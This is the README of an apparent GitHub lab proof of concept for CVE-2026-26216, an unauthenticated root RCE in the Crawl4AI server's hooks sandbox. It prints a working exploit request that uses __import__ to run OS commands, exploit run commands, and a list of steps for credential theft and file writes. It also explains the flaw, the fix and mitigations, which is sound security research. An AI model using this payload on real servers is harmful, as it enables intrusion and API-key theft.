joaovicdev/EXPLOIT-CVE-2026-26216
GitHub: joaovicdev/EXPLOIT-CVE-2026-26216
该项目是 CVE-2026-26216 的实验室 PoC,复现并演示了 Crawl4AI 因 builtins 白名单遗漏 `__import__` 而导致的未授权远程代码执行漏洞。
Stars: 0 | Forks: 0
# CVE-2026-26216 — Crawl4AI 通过 `hooks` 实现的未授权 RCE (GHSA-5882-5rx9-xgxp)
这是一个**实验室 PoC**,自包含且可复现,用于安全
研究和教育目的。
## 一句话概述漏洞
`POST /crawl` endpoint 在 `hooks.code.` 字段中接受**任意 Python 代码**。此代码通过 `exec()` 在一个“自制沙箱”——即一个受限的 builtins 字典中执行。但是,**`__import__` 被保留在了白名单中**,这使得 `__import__('os').system(...)` 成为可能,从而彻底击溃了整个沙箱。
```
POST /crawl
{
"urls": ["https://example.com"],
"hooks": {
"code": {
"on_page_context_created":
"async def hook(page, context, **kwargs):\n __import__('os').system('id')\n return page"
}
}
}
```
由于官方部署默认**关闭 JWT**,且容器以 **root** 身份运行,其结果是实现了无需授权的 root RCE。
### 为什么这是关于“AI 工具自制沙箱”的完美教训
沙箱*看起来*是有效的:`open`、`eval`、`exec` 已被移除,因此简单的攻击(`open('/etc/passwd')`)**会被拦截**。这制造了一种虚假的安全感。但是,只要遗漏了**一个**危险的 builtin(`__import__`),就可以导入整个标准库(`os`、`subprocess`、`socket`),白名单便形同虚设。builtins 白名单**不是**沙箱。
## 项目结构
```
CVE-2026-26216/
├── README.md
├── docker-compose.yml # sobe o servidor vulnerável
├── vulnerable-app/
│ ├── Dockerfile # imagem que roda como root (igual à oficial)
│ ├── requirements.txt
│ ├── server.py # FastAPI: POST /crawl sem auth
│ └── hook_manager.py # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
└── exploit.py # exploit Python (só stdlib)
```
## 如何运行
```
# 针对目标
docker compose up -d --build
# 完整演示
python3 exploit/exploit.py --target http://localhost:11235 --demo
# 任意命令
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"
# 崩溃
docker compose down -v
```
## exploit 演示了什么
| # | 操作 | 影响 |
|---|------|---------|
| 1 | 直接执行 `open('/etc/passwd')` | 被沙箱**拦截**(虚假的安全感) |
| 2 | `__import__('subprocess')` + `id`/`whoami` | **以 root 身份**实现 RCE |
| 3 | 通过 shell 执行 `cat /etc/passwd` | 任意文件读取 |
| 4 | `env \| grep KEY` | 窃取 **API keys** / tokens |
| 5 | `echo ... > /tmp/PWNED` | 任意文件写入 |
随后:渗透内部网络、窃取云凭据、建立持久化等。
## 影响
- **机密性:** 窃取 `OPENAI_API_KEY`、内部 tokens 以及容器的 secrets。
- **完整性:** 写入/篡改文件,植入后门。
- **可用性:** 终止进程,擦除数据。
- **横向移动:** 容器通常具有内部网络访问权限 → 可作为跳板。
这一切均**无需授权**。
## 修复方案
在 **Crawl4AI 0.8.0** 中已修复:
- `__import__`(以及 `eval`/`exec`/`open`)已从允许的 builtins 中**移除**。
- Hooks **默认禁用** — 需通过 `CRAWL4AI_HOOKS_ENABLED=true` 显式开启。
**通用缓解措施:**
- 升级至 `crawl4ai >= 0.8.0`。
- 切勿将 Crawl4AI 服务器直接暴露在互联网上;启用 JWT。
- 不要以 root 身份运行容器;使用非特权用户并挂载只读文件系统。
- 正确认识“builtins 白名单”的本质:**它不是沙箱**。要执行不受信任的代码,请使用真正的隔离方案(gVisor、microVM、无网络/文件系统访问权限的独立进程、seccomp)。
## 参考信息
- [GitHub Advisory — GHSA-5882-5rx9-xgxp](https://github.com/unclecode/crawl4ai/security/advisories/GHSA-5882-5rx9-xgxp)
- [GitHub Advisory Database](https://github.com/advisories/GHSA-5882-5rx9-xgxp)
- [Corgea — CVE-2026-26216](https://corgea.com/advisories/vulnerabilities/CVE-2026-26216)
- [GitLab Advisory Database](https://advisories.gitlab.com/pkg/pypi/crawl4ai/CVE-2026-26216/)
- [miggo.io — GHSA-5882-5rx9-xgxp](https://www.miggo.io/vulnerability-database/cve/GHSA-5882-5rx9-xgxp)
## 免责声明
本材料仅供**授权的安全研究与教育**使用。请仅在你拥有或获得书面明确授权的系统上进行测试。
标签:AV绕过, Docker, FastAPI, Go语言工具, Python, 安全测试, 安全防御评估, 攻击性安全, 无后门, 漏洞验证PoC, 版权保护, 请求拦截, 逆向工具